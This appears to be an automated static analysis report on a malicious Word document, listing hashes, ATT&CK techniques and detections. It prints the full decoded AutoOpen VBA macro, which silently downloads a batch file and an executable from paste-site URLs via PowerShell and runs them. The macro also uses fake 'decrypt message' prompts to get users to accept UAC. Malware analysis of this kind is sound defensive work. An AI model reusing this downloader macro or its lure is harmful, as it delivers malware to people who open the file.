Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e636d49d8e2ecb81…

MALICIOUS

Office (OOXML)

96.6 KB Created: 2021-04-29 13:51:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-14
MD5: 539ffa888e54851b971f1f5d92f75f72 SHA-1: 05426efcdfb55bda58c9901095c5d685b142e65c SHA-256: e636d49d8e2ecb81e08a6d303ee2d07172a105566e68a113cb0cd2438dc40508
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that execute upon opening, as indicated by the AutoOpen heuristic. The script attempts to create a directory, download a batch file from 'https://paste.c-net.org/BustinBeady' using PowerShell, and then execute it. It subsequently downloads an executable from 'https://paste.c-net.org/VictoryCommit'. The use of Shell() and references to PowerShell and cmd.exe strongly suggest a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        folder = "cmd.exe /c mkdir C:\Data"
    Call Shell(folder, vbHide)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        'Download
    down = "powershell wget -O C:\Data\batty.bat https://paste.c-net.org/BustinBeady"
    Call Shell("cmd.exe /c" & down, vbHide)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        ' Make Directory
    folder = "cmd.exe /c mkdir C:\Data"
    Call Shell(folder, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    ' Make Directory
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://paste.c-net.org/BustinBeady In document text (OOXML body / shared strings)
    • https://paste.c-net.org/VictoryCommitIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 984 bytes
SHA-256: ec0f400b25f8efbf3afd8dd90c40323484e7a5e6f122037d803c90a34922f00e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    ' Make Directory
    folder = "cmd.exe /c mkdir C:\Data"
    Call Shell(folder, vbHide)

    'Download
    down = "powershell wget -O C:\Data\batty.bat https://paste.c-net.org/BustinBeady"
    Call Shell("cmd.exe /c" & down, vbHide)
    
    'UAC
    MsgBox ("Press Yes on UAC Popup to decrypt message")
    MsgBox ("Message will now decrypt")
    
    'Run
    Call Shell("C:\Data\batty.bat", vbHide)
    
    'UAC
    MsgBox ("Unable to Decrypt Message")
    
    'Program
    down = "powershell wget -O C:\Data\file.exe https://paste.c-net.org/VictoryCommit"
    Call Shell("cmd.exe /c" & down, vbHide)
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: f436448ddfcf9176f3b1a68039c8973e7794de04c1a91232423c156910b9aed0
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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